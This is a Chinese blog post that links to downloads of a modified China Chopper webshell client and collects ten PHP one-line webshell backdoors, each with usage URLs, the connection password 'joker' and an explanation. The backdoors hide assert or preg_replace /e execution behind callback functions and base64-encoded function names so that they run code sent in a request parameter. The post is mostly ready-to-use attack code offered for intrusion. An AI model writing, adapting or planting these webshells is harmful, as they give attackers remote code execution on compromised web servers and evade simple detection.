中国菜刀下载,基于原版中国菜刀优化版20160309.

下载地址:

http://pan.baidu.com/s/1jHoJxHW

China chopper

http://pan.baidu.com/s/1eRxEYjC

下面是收集并整理的各种一句话,带使用方法:

1.php

<?php
$POST['POST']='assert';
$array[]=$POST;
$array[0]['POST']($_POST['joker']);
?>

用法:  http://www.xxx.com/1.php

菜刀连接用法:  http://www.xxx.com/1.php

密码:joker

详解:  assert,是php代码执行函数,与eval()有同样的功能,应为$array[],POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组,这样的话$array[0]['POST']的输出就是assert,所以组成了一句话木马

assert($_POST['joker']),直接用菜刀链接即可

————————————————————————————————————————————————————————

2.php

<?php
error_reporting(0);
$g = array('','s');
$gg = a.$g[1].ser.chr('116');
@$gg($_POST[joker]);
?>

用法:  http://www.xxx.com/2.php

菜刀连接用法: http://www.xxx.com/2.php

密码:joker

详解:$g是个数组,$g[1]='s',chr('116')='t',(https://blog.csdn.net/yabingshi_tech/article/details/19833217 ASCll码对应表),这样的$gg=

assert,@$gg($_POST[joker])不就是assert($_POST[joker]),是我们常见的一句话木马,直接菜刀链接即可

————————————————————————————————————————————————————————

3.php (array_filter+base64_decode)

<?php
error_reporting(0);
$e=$_REQUEST['e'];
$arr=array($_POST['joker'],);
array_filter($arr,base64_decode($e));
?>

用法: http://www.xxx.com/3.php?e=YXNzZXJ0

浏览器提交POST:joker=phpinfo();

菜刀连接用法: http://www.xxx.com/3.php?e=YXNzZXJ0

密码:joker

详解:base64_decode()函数主要用于base64的解码,YXNzZXJ0的base64解码后的结果为assert,$e接受浏览器传过来的参数,$arr是个数组,array_filter()函数用回调函数过滤数组中的值,

,如果我们传入$e的参数为YXNzZXJ0,这样的话我们的回调函数名就是assert,并且要过滤数组中的每一个参数

就构成了assert($_POST['joker']),常见的一句话木马,直接用菜刀链接即可

——————————————————————————————————————————————————————————

4.php

<?php
error_reporting(0);
call_user_func('assert', $_REQUEST['joker']);
?>

用法: http://www.xxx.com/4.php

菜刀连接用法: http://www.xxx.com/4.php

密码:joker

详解:call_user_func()函数把第一个参数作为回调函数调用,也就是说assert是被调用的回调函数,其余参数是回调函数的参数。

这样的话就直接构成了  assert($_REQUEST['joker']) 这样的一句话木马,直接用菜刀链接即可

———————————————————————————————————————————————————————————

5.php (array_map+base64_decode)

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['joker'],);
array_map(base64_decode($e), $arr);
?>

用法: http://www.xxx.com/5.php?e=YXNzZXJ0

浏览器提交POST:joker=phpinfo();

菜刀连接用法: http://www.xxx.com/5.php?e=YXNzZXJ0

密码:joker

详解:我们主要来看array_map()这个函数,array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

这样的话我们传递过去的assert(),就会对$arr数组中的每一个值进行作用,assert($_POST['joker']) ,直接菜刀链接即可

————————————————————————————————————————————————————————————————————

6.php (uasort+base64_decode)

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['joker']);
uasort($arr, base64_decode($e));
?>
<?php 
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['joker'] => 2);
uksort($arr, $e);
?>

用法: http://www.xxx.com/6.php?e=YXNzZXJ0

浏览器提交POST:joker=phpinfo();

菜刀连接用法: http://www.xxx.com/6.php?e=YXNzZXJ0

密码:joker

详解:我们主要来看uasort,uksort这两个函数,uasort() 函数使用用户自定义的比较函数按照值对数组排序,并保持索引关联(不为元素分配新的键)

。uksort()函数用法与uasort()函数相似,不过是通过用户自定义的比较函数对数组按键名进行排序。第一个例子是按照比较值来排序,传递进来的自

定义函数assert(),会作用与($_REQUEST['joker']) 这个值,就构成了一句话木马;第二个例子是按照比较键名来排序,传递进来的自定义函数assert(),会作用与($_REQUEST['joker']) 这个键名,构成了一句话木马,直接操刀链接即可。

————————————————————————————————————————————————————————————

7.php

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['joker']);
$arr1 = array(1);
array_udiff($arr, $arr1, $e);
?>

用法: http://www.xxx.com/7.php?e=assert

浏览器提交POST:joker=phpinfo();

菜刀连接用法: http://www.xxx.com/7.php?e=assert

密码:joker

详解:我们先来看array_udiff()这个函数,array_udiff() 函数用于比较两个(或更多个)数组的键值 ,并返回差集,注释:该函数使用用户自定义函数来比较键值!

也就是说$e是可调用的比较函数,数组$arr与$arr1的差集为($_POST['joker']),1,这时候传过来assert()比较函数将会作用,assert($_POST['joker']),构成一句话

木马,直接用菜刀链接

————————————————————————————————————————————————————————————————————

8.php (array_walk+preg_replace)

<?php
error_reporting(0);
$e = $_REQUEST['e'];
$arr = array($_POST['joker'] => '|.*|e',);
array_walk($arr, $e, '');
?>

用法: http://www.xxx.com/8.php?e=preg_replace

浏览器提交POST:joker=phpinfo();

菜刀连接用法: http://www.xxx.com/8.php?e=preg_replace

密码:joker

详解:这个后门可以在php5.3下使用,array_walk()函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。至于我们为什幺要

传一个preg_replace进去,preg_replace函数原型:mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明: /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

意思是pattern也就是匹配模式出现/e修正符,后面的replacement就会被当作php代码执行,这样的话我们直接把 ($_POST['joker']) 这个小马运行,所以直接用菜刀链接即可

与之有相似功能的函数还有 : mb_ereg_replace() ,preg_filter()

——————————————————————————————————————————————————————————————————————

9.php

<?php
error_reporting(0);
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['joker']);
?>

浏览器GET提交:http://www.xxx.com/9.php?e=assert&settoken=phpinfo();即可执行phpinfo();

菜刀连接用法: http://www.xxx.com/9.php?e=assert

密码:joker

详解:register_shutdown_function()函数是来注册一个会在PHP中止时执行的函数,

PHP中止的情况有三种:
    • 执行完成
    • exit/die导致的中止
    • 发生致命错误中止
    • ,这样的话等到php函数执行完成,就会调用我们传进去的php中止时执行的函数

构成 assert($_REQUEST['joker']) ,一句话木马 ,直接用菜刀链接即可

——————————————————————————————————————————————————————————————————————

10.php

<?php
error_reporting(0);
$e = $_REQUEST['e'];
declare(ticks=1);
register_tick_function ($e, $_REQUEST['joker']);
?>

浏览器GET提交:http://www.xxx.com/10.php?e=assert&settoken=phpinfo();即可执行phpinfo();

菜刀连接用法: http://www.xxx.com/10.php?e=assert

密码:joker

详解:register_tick_function函数必须要和declare流程控制机制合并使用,那么就先了解一下declare和tick:Tick 是一个在 declare 代码段中解释器每执行 N 条低级语句就会发生的事件。N 的值是在 declare 中的 directive 部分用 ticks=N 来指定的。在每个 tick 中出现的事件是由 register_tick_function() 来指定的。也就是说当ticks=1,每执行1行代码,就需要运行一次我们传过来的assert()函数,$_REQUEST['joker']是参数

这样就构成了assert($_REQUEST['joker']) ,直接用菜刀链接一句话木马即可

————————————————————————————————————————————————————————————

最新文章

  1. C#中List〈string〉和string[]数组之间的相互转换
  2. TIDB ---NEW SQL
  3. Javascript核心概述 - 深入了解javascript
  4. 使用国内镜像通过pip安装python的一些包 Cannot fetch index base URL http://pypi.python.org/simple/
  5. 洛谷 P1093 奖学金
  6. c++11: trailing return type in functions(函数返回类型后置)
  7. js中去除换行(\r\n)
  8. 12C 连接方式和 Oracle Easy Connect Naming method
  9. 所谓“脚本(Script)”——个人见解浅谈
  10. thinkphp3.2v
  11. HTTPS 之 TLS 性能调优
  12. POJ 水题(刷题)进阶
  13. 【Noip模拟 20160929】划区灌溉
  14. while循环 格式化输出 密码本 编码的初识
  15. linux VIM 下的语法高亮及自动缩进
  16. sqlserver 触发器的运行关键字
  17. @ResponseBody使用须知
  18. Eclipse经常使用快捷键
  19. PreparedStatement 查询 In 语句 setArray 等介绍。
  20. Flask 使用富文本输入框

热门文章

  1. Optimizer in SQL - Catalyst Optimizer in Spark SQL
  2. ceph pool 管理
  3. ELK日志收集系统搭建
  4. 转换(旋转)transform
  5. windows server 2008 r2 下发布网站excel有时候无法下载文档
  6. make和rest用法
  7. Dictionary and KeyValuePair关系
  8. Contiki进程间的交互
  9. struts2 自定义类型转化 第三弹
  10. 读取配置和动态配置(C方法)